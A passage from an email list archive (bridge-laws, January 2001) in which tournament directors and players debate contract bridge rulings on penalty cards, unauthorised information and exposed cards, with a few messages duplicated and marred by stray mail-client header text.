a 'play >whatever you want' declaration, the card remains penalized, thus declarer >may exercise his options once more. Declarer, duly informed, did so. He >erred, because he should have disallowed the Diamond switch, and all his >problems would have been solved. But having said that it is a L50 case, you must read L50. L50D1 contains the famous statemnet about UI, doe it not? How can you ignore that bit? >3) Thereafter, L72A5 says what should happen - nothing. The penalty has >been paid (although declarer didn't extract it to the best of his >interests). The players are allowed to do what they want. >And, yes, if the hearts are AKJxx / 10xxx (dummy), x , Qxx (declarer), if a >diamond is disallowed, and if leftie now plays KH, small heart, and if >rightie perforce discards AD, and if it turns out to be the way to make the >contract down (ever heard of Emperor's coup ?), it is down. >Now, what does one respond to the angry declarer ? That the UI principle is >made for covering cases that aren't covered by other, more constraining >laws such as L50. So that L16 would not apply in addition to L50. No, because we are not interested in L16. L50D1 says it is UI. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 03:53:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NGqa208041 for bridge-laws-outgoing; Wed, 24 Jan 2001 03:52:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NGqHt07974 for ; Wed, 24 Jan 2001 03:52:18 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14L6fw-0000vZ-0U for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 16:52:12 +0000 Message-ID: Date: Mon, 22 Jan 2001 17:29:35 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >Here's another one. Today, I pulled my hand out of the board, and >while counting the cards, I dropped one. It fell face up on the >table. It was the Ace of Diamonds. I immediately flipped it over, and >called the director. West (I was North) said "I don't think we need >the director - I didn't see it." My partner says "neither did I", but >East says "I saw it." I said that I thought the criterion was that >partner *might* have seen it, and we should call even if East didn't >see it. The criterion for calling the TD is that something happened and attention was drawn to it. >So the TD comes over. "I don't know," she says, "I'll have to get my >book out of the car. Put these hands back, and go on to the next >board; I'll get back to you." > >She came back with "Duplicate Decisions" (no Law Book), and said, "I >still don't know - it's unclear whether this bit about "before the >auction has started" (I think in Law 13) applies, since you (me, that >is, North) are Dealer and get the first bid. So maybe the auction has >started, and Law 24 applies." She vacillated a moment, and then said >"I'm gonna rule Law 24 applies - major penalty card, and partner must >pass at her first turn to call." Perhaps if she had got he Law book out it would have been slightly better! LAW 17 - DURATION OF THE AUCTION A. Auction Period Starts The auction period on a deal begins for a side when either partner looks at the face of his cards. Actually, if she had even looked under the right Law in Duplicate decisions it would have been OK, because what is written there is 17 Duration of the Auction THE AUCTION PERIOD ON A DEAL BEGINS for a side when either partner looks at the face of his cards. So, you had not looked at your cards - had your partner? If so, the ruling is right - it is an MPC and partner passes once - if not then it is a UI case under L12B where she either cancels the board [A+/A-] or allows the board to be played. In clubs I nearly always allow them to play it but a lot of TDs go for the safe option. >I think the question of whether it's before or after the start of the >auction hinges on whether my partner had seen the face of her cards >at the time I called the TD (I had not) and not on who was dealer. At >this moment I can't say for sure whether she had seen them or not, >but I think not. Correct. >There seemed no damage caused by partner's enforced pass - though >they did stop in a part score when others bid and made game. I can >post the hands and the bidding if anyone cares. > >Comments? Can we club together to buy your TD a Law book? --------- alain gottcheiner writes >AG : two issues are to be looked at : > >1) Did the auction begin ? Answer : yes, L17, if somebody looked at one's >cards. (wow, I begin to use this without a flicker). In this case, the only >person concerned is partner, so the relevant issue is whether that person >(wow) saw one's cards. > >2) Was the card seen, or could it at leasr been seen ? I usually rule that, >if the opponent can name the card (without having done anything special >like craning the neck to see it on the floor), partner could have seen it. >I know it is not perfect in the card of a card detached from the hand, but >it seems fair in accidental cases. > >3) If you answer yes to the second question, and if the auction did begin, >then there is a penalty card (MPC in this case). >If you answer yes to #2 and no to #1, then the board becomes unplayable. >I'd rule 60/60 if you made normal gestures, 50/60 (partially responsible) >if you did something wrong. It is generally accepted that you should not give a table more than 100% unless an outside agency [waiter, TD, another table] was involved so the ArtAS should be A+/A-. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 03:53:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NGqU508021 for bridge-laws-outgoing; Wed, 24 Jan 2001 03:52:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NGq9t07929 for ; Wed, 24 Jan 2001 03:52:10 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14L6fi-0000vb-0U for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 16:51:58 +0000 Message-ID: Date: Mon, 22 Jan 2001 17:01:44 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> In-Reply-To: <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eric Landau writes >At 10:05 AM 1/19/01, David wrote: > >>Eric Landau writes >> > >> >Indeed. I did not intend "it" to have "action" as its referent, but >> >wrote badly. Let me try again: North should not take any action by >> >which he is likely to achieve a more successful outcome with partner >> >barred than what would have been the expected outcome with his partner >> >free to bid. >> >> Why not? >> >> L72A5. > >Because of the "recently added spate of 'might have's and 'could >have's" of which I wrote in the message from which the above is >quoted. Until the latest revision of the laws, he would have been >unconstrained, per L72A5, unless one [I intend to make no further >contribution to *that* thread] were prepared to find a violation of >L72B2 (more precisely, its predecessor, L72B1). But with the laws >being rewritten so as to accommodate those who have forced us to accept >that a finding of violation of a law such as 72B2 may consitute an >actionable accusation of cheating, the current L72B1 was added, which >seems to constrain players not to take an action which might appear to >resemble a violation of L72B2, regardless of their intention. Regardless of their intention, correct, but *not* regardless of their ability to foresee the situation. You cannot use L72B1 to adjust in a situation which is not foreseeable because then a player took advantage. If you bid out of turn with a Yarborough, silencing partner, then you can see that it might be helpful to do so, so L72B1 could be applied to you. If you bid out of turn with a 16 HCP hand, silencing partner, then you can have no conceivable notion that this would work to your benefit, so L72B1 cannot be used. Now that partner is silenced, you are entitled by L72A5 to do your best to recover the situation, and that includes finishing in a situation where you have gained from the BOOT. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:08:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NH87q13326 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:08:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NH7ut13275 for ; Wed, 24 Jan 2001 04:07:57 +1100 (EST) Received: from village.uunet.be (uu212-190-8-163.unknown.uunet.be [212.190.8.163]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NH7qT15786 for ; Tue, 23 Jan 2001 18:07:52 +0100 (MET) Message-ID: <3A6DB17E.6498C237@village.uunet.be> Date: Tue, 23 Jan 2001 17:29:50 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <3A670674.673519AE@village.uunet.be> <006501c08261$a11943c0$56991e18@san.rr.com> <3A696AF5.E96FF1FC@village.uunet.be> <00f001c0848a$75f1ad60$b4291dc2@rabbit> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Thomas Dehn wrote: > > > L50D1 > A major penalty card must be played at the first legal opportunity, whether > in leading, following suit, discarding or trumping (the requirement that > offender must play the card is authorised information for his partner; > however, other information arising from facing of the penalty card is > unauthorised for partner). > [...] > > I read this as follows: > > If partner leads the DK, then the information that partner > will have the DQ or maybe either the DQ or the DA is UI, as this > is "other information arising from facing of the penalty card". > Furthermore, if I lead a D to partner's penalty card I have to assume > that this does not provide any information on his D holding. > Hence, if we lead the K from AK, and partner's penalty card > is the DA, I might still play him for the DK later. > However, if he leads the K out of turn, and I later > lead a D to his K, I am not forced to > play declarer for the DQ just because partner > played the DK to that trick. UI laws do apply here to > the information that partner might or might not have > another honor card for his original lead out of turn. > Correct. > However, the information that partner has the DK and must play > it at the earliest opportunity is AI > ("the requirement that offender must play the card > is authorised information for his partner"). > If it is AI that partner must play the card, it is AI that he has it. > No. Why ? I realize that it is strange to say "you are allowed to know that partner will have to play the Ace to a diamond trick, but you are not allowed to know that he has the ace". But that is just becauwe we are using "know", when we should be saying "use the information that" in selecting among LA's. The same is true of all pieces of UI. "You are not allowed to know that partner has hearts" "But I do know it !" "yes, but you are not allowed to use that knowledge" > Especially, if declarer does not forbid leading a diamond, > it makes perfect sense to lead a diamond just to > avoid that declarer can force partner to discard his > precious diamond ace when declarer draws trumps or runs > a long suit. This is similar to avoiding winning a trick > which would increase the revoke penalty to two tricks. > That is quite another question entirely. If you are leading diamonds for that reason, then you are only using AI. But the player in the question was leading diamonds in order to get partner in. That is making use of the knowledge that "partner has the DA", and that seems to me to be "other information arising fro facing of the penalty card". -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:08:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NH8B813343 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:08:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NH7xt13284 for ; Wed, 24 Jan 2001 04:07:59 +1100 (EST) Received: from village.uunet.be (uu212-190-8-163.unknown.uunet.be [212.190.8.163]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NH7sT15792 for ; Tue, 23 Jan 2001 18:07:55 +0100 (MET) Message-ID: <3A6DB2B9.30459672@village.uunet.be> Date: Tue, 23 Jan 2001 17:35:05 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <01C082FA.E03553C0.tsvecfob@iol.ie> <3A6B24AC.273ACB03@village.uunet.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Brian Meadows wrote: > > On Sun, 21 Jan 2001 19:04:28 +0100, Herman deWael wrote: > > > > >And your points of view are those of a player - which is not > >what we need, > > > > Then go ahead and drop me, and any other non-directors who have > the temerity to post, in your kill file, Herman. God forbid that > TDs, let alone lawmakers, should even have to hear the opinions > of the people who play the game, or that said players should make > any comments on the Laws which are to be imposed on them. > > Maybe you should ask Marcus to make the list 'current TDs and > WBFLC members only'. > > But before you do so, perhaps you might tell me why, if you feel > my comments were so obviously unhelpful, you chose to quote them > all back in your reply? > > Brian. > Sorry Brian, if I have offended you. That was in no way my intention. I was merely saying that in this thread, we do not need the input of the player, when that player says "this law stinks". I believe we can all agree on that. I prefer not to leave a response unanswered, when an answer might be helpful to its writer. Rather than dropping your contribution into some hell-hole, I accepted it, read it, and interpreted it. My interpretation was that it was unhelpful to the current debate. By replying to it I was telling the list that I agreed with it, but that it did not resolve the problem as to what the law actually says and means. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:08:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NH8El13361 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:08:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NH83t13310 for ; Wed, 24 Jan 2001 04:08:04 +1100 (EST) Received: from village.uunet.be (uu212-190-8-163.unknown.uunet.be [212.190.8.163]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NH7vT15802 for ; Tue, 23 Jan 2001 18:07:58 +0100 (MET) Message-ID: <3A6DB570.A0815438@village.uunet.be> Date: Tue, 23 Jan 2001 17:46:40 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] wake up allowed? References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "J.P.Pals" wrote: > > I believe there was a similar thread some time ago, > but I'm still confused and interested in expert opinions, > so here goes: > > non vul vs vul, you hold: > > Q754 > 82 > 7 > KQT942 > > RHO opens 2h, alerted and explained as 'Muiderberg: > below opening values, 5+ hearts, 4+ in a minor'. > You bid 3cl, and partner surprises you by alerting this: > Rubensohl, forces 3d. > Oops…. > Now you see that she has opened the bidding with 1NT. > (Muiderberg openings and overcalls in a major over > 1NT are made on similar hands). > The auction continues, pass, 3d, pass. > What now? > What is the 'ethical' action here? > Of course you woke up by pard's alert, but are you allowed > to wake up yourself? If so, when? > > Thanks for comments > I have a well-formed opinion on this type of cases. I know it is not universally shared, but here goes. The actual auction is always AI to you. The fact that the auction is not what you thought it was is UI. When the auction has progressed into the "strange" stage, there coes a point when it becomes very normal for you to ask for a review of the bidding. At that point the knowledge that the auction is not what you thought becomes also available as AI. In order to apply this to your question, we need to know what would be the meaning of 3Di in the auction (pass or nothing) 2He 3Cl pass 3Di If this is merely something like "I hear you, partner, and I believe 3Di is a better contract than 3Cl", then I see no reason for you to ask for a review. For what it's worth, I do not believe that the fact that bidding cards are used, and the 3Di bid lies right over the 1NT means that 1NT now becomes AI per se. I believe this is UI. You should pass. Just to make one thing clear. Your system is AI to you. You have provided no reason to suspect that you do not know that 3Cl is Rubensohl. If the auction were to be just strange enough for it to warrant a review, making the 1NT opening AI to you, then I also allow you to know that 3Cl was misinterpreted and to know what the correct meaning is. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:13:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHCqg14835 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:12:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHCet14776 for ; Wed, 24 Jan 2001 04:12:41 +1100 (EST) Received: from village.uunet.be (uu212-190-8-163.unknown.uunet.be [212.190.8.163]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NHCZT16706 for ; Tue, 23 Jan 2001 18:12:35 +0100 (MET) Message-ID: <3A6DB17E.6498C237@village.uunet.be> Date: Tue, 23 Jan 2001 17:29:50 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <3A670674.673519AE@village.uunet.be> <006501c08261$a11943c0$56991e18@san.rr.com> <3A696AF5.E96FF1FC@village.uunet.be> <00f001c0848a$75f1ad60$b4291dc2@rabbit> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Thomas Dehn wrote: > > > L50D1 > A major penalty card must be played at the first legal opportunity, whether > in leading, following suit, discarding or trumping (the requirement that > offender must play the card is authorised information for his partner; > however, other information arising from facing of the penalty card is > unauthorised for partner). > [...] > > I read this as follows: > > If partner leads the DK, then the information that partner > will have the DQ or maybe either the DQ or the DA is UI, as this > is "other information arising from facing of the penalty card". > Furthermore, if I lead a D to partner's penalty card I have to assume > that this does not provide any information on his D holding. > Hence, if we lead the K from AK, and partner's penalty card > is the DA, I might still play him for the DK later. > However, if he leads the K out of turn, and I later > lead a D to his K, I am not forced to > play declarer for the DQ just because partner > played the DK to that trick. UI laws do apply here to > the information that partner might or might not have > another honor card for his original lead out of turn. > Correct. > However, the information that partner has the DK and must play > it at the earliest opportunity is AI > ("the requirement that offender must play the card > is authorised information for his partner"). > If it is AI that partner must play the card, it is AI that he has it. > No. Why ? I realize that it is strange to say "you are allowed to know that partner will have to play the Ace to a diamond trick, but you are not allowed to know that he has the ace". But that is just becauwe we are using "know", when we should be saying "use the information that" in selecting among LA's. The same is true of all pieces of UI. "You are not allowed to know that partner has hearts" "But I do know it !" "yes, but you are not allowed to use that knowledge" > Especially, if declarer does not forbid leading a diamond, > it makes perfect sense to lead a diamond just to > avoid that declarer can force partner to discard his > precious diamond ace when declarer draws trumps or runs > a long suit. This is similar to avoiding winning a trick > which would increase the revoke penalty to two tricks. > That is quite another question entirely. If you are leading diamonds for that reason, then you are only using AI. But the player in the question was leading diamonds in order to get partner in. That is making use of the knowledge that "partner has the DA", and that seems to me to be "other information arising fro facing of the penalty card". X-Mozilla-Status: 0009 the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:13:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHCv114856 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:12:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHCgt14789 for ; Wed, 24 Jan 2001 04:12:43 +1100 (EST) Received: from village.uunet.be (uu212-190-8-163.unknown.uunet.be [212.190.8.163]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NHCbT16721 for ; Tue, 23 Jan 2001 18:12:38 +0100 (MET) Message-ID: <3A6DB2B9.30459672@village.uunet.be> Date: Tue, 23 Jan 2001 17:35:05 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <01C082FA.E03553C0.tsvecfob@iol.ie> <3A6B24AC.273ACB03@village.uunet.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Brian Meadows wrote: > > On Sun, 21 Jan 2001 19:04:28 +0100, Herman deWael wrote: > > > > >And your points of view are those of a player - which is not > >what we need, > > > > Then go ahead and drop me, and any other non-directors who have > the temerity to post, in your kill file, Herman. God forbid that > TDs, let alone lawmakers, should even have to hear the opinions > of the people who play the game, or that said players should make > any comments on the Laws which are to be imposed on them. > > Maybe you should ask Marcus to make the list 'current TDs and > WBFLC members only'. > > But before you do so, perhaps you might tell me why, if you feel > my comments were so obviously unhelpful, you chose to quote them > all back in your reply? > > Brian. > Sorry Brian, if I have offended you. That was in no way my intention. I was merely saying that in this thread, we do not need the input of the player, when that player says "this law stinks". I believe we can all agree on that. I prefer not to leave a response unanswered, when an answer might be helpful to its writer. Rather than dropping your contribution into some hell-hole, I accepted it, read it, and interpreted it. My interpretation was that it was unhelpful to the current debate. By replying to it I was telling the list that I agreed with it, but that it did notX-Mozilla-Status: 0009s to what the law actually says and means. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:13:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHCwU14863 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:12:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHCit14807 for ; Wed, 24 Jan 2001 04:12:45 +1100 (EST) Received: from village.uunet.be (uu212-190-8-163.unknown.uunet.be [212.190.8.163]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NHCeT16730 for ; Tue, 23 Jan 2001 18:12:40 +0100 (MET) Message-ID: <3A6DB570.A0815438@village.uunet.be> Date: Tue, 23 Jan 2001 17:46:40 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] wake up allowed? References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "J.P.Pals" wrote: > > I believe there was a similar thread some time ago, > but I'm still confused and interested in expert opinions, > so here goes: > > non vul vs vul, you hold: > > Q754 > 82 > 7 > KQT942 > > RHO opens 2h, alerted and explained as 'Muiderberg: > below opening values, 5+ hearts, 4+ in a minor'. > You bid 3cl, and partner surprises you by alerting this: > Rubensohl, forces 3d. > Oops…. > Now you see that she has opened the bidding with 1NT. > (Muiderberg openings and overcalls in a major over > 1NT are made on similar hands). > The auction continues, pass, 3d, pass. > What now? > What is the 'ethical' action here? > Of course you woke up by pard's alert, but are you allowed > to wake up yourself? If so, when? > > Thanks for comments > I have a well-formed opinion on this type of cases. I know it is not universally shared, but here goes. The actual auction is always AI to you. The fact that the auction is not what you thought it was is UI. When the auction has progressed into the "strange" stage, there coes a point when it becomes very normal for you to ask for a review of the bidding. At that point the knowledge that the auction is not what you thought becomes also available as AI. In order to apply this to your question, we need to know what would be the meaning of 3Di in the auction (pass or nothing) 2He 3Cl pass 3Di If this is merely something like "I hear you, partner, and I believe 3Di is a better contract than 3Cl", then I see no reason for you to ask for a review. For what it's worth, I do not believe that the fact that bidding cards are used, and the 3Di bid lies right over the 1NT means that 1NT now becomes AI per se. I believe this is UI. You should pass. Just to make one thing clear. Your system is AI to you. You have provided no reason to suspect that you do not know that 3Cl is Rubensohl. If the auction were to be just strange enough for it to X-Mozilla-Status: 0009ng the 1NT opening AI to you, then I also allow you to know that 3Cl was misinterpreted and to know what the correct meaning is. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:18:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHITQ16707 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:18:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHIKt16657 for ; Wed, 24 Jan 2001 04:18:21 +1100 (EST) Received: from james (user-2ive46m.dialup.mindspring.com [165.247.16.214]) by smtp6.mindspring.com (8.9.3/8.8.5) with SMTP id MAA01469; Tue, 23 Jan 2001 12:18:13 -0500 (EST) Message-ID: <00a301c08560$756371e0$d610f7a5@james> From: "Craig Senior" To: "David Burn" , References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 12:18:07 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Here we go again into name calling. Doubtless hair pulling and mud slinging will begin soon. You brits need a good presidential election to provide an outlet. I do not think anyone on this list cares nothing about the game. We may disagree, but we all care or we would not be here. It is not necessary to impugn one's motives for not accepting the holy grail of my or anyone else's sacred opinion. And to infer that those who disagree on a point must be lunatics is even less helpful to a measured intelligen debate. That being said, IMO DWS is wrong on this one...a distinct rarity, an exception that proves the rule, but nonetheless a reality. We're making 12 tricks is a claim...even if it is preceded by I'll bet you a beer. And let us not pick on Quango on the keyboard. DWS' reasoning powers are fine as they make a case for what he believes, with some merit, the law SHOULD say. A cat, being a practical being, does not accept that I meant to have the food dish filled earlier...if it is empty I will hear Mrrrrowwwrrrr!! Only the actuality of a full dish will reinstate the purring...no might bes or ought to bes will satisfy when the reality is an empty dish. Q would have gotten this one right, as a literal pragmatist. But DWS, as a theorist who DOES care about the game every bit as much as those of us who disagree with him, and as a pragmatist who recognizes the practical difiiculties of enforcing this law in a venue where kidding around rather than solemnity is common, is dancing to the beat of a different drummer that the one(s) who composed the Laws as they stand today. The solution is obvious...if clowning, extraneous remarks can cause a player to have Law-imposed problems, he has an easy remedy in future. Fermez la bouche. Craig ----- Original Message ----- From: "David Burn" To: Sent: Monday, January 22, 2001 8:43 PM Subject: Re: [BLML] Claim? > DWS wrote: > > > I know that certain people do not give a damn about the game itself, > > but for those of you that do, let me make one more effort. > > You do not know anything of the sort. As usual, you are taking it upon > yourself to be the arbiter of which Laws should be followed to the > letter and which Laws should be "interpreted" for the "good of the > game". Fortunately, you are not actually in a position to do this, > despite various posturings to the contrary. You are, at times, proud of > having coined (or rather, adopted from IT jargon), the acronym "RTFLB". > Yet in this thread, you have 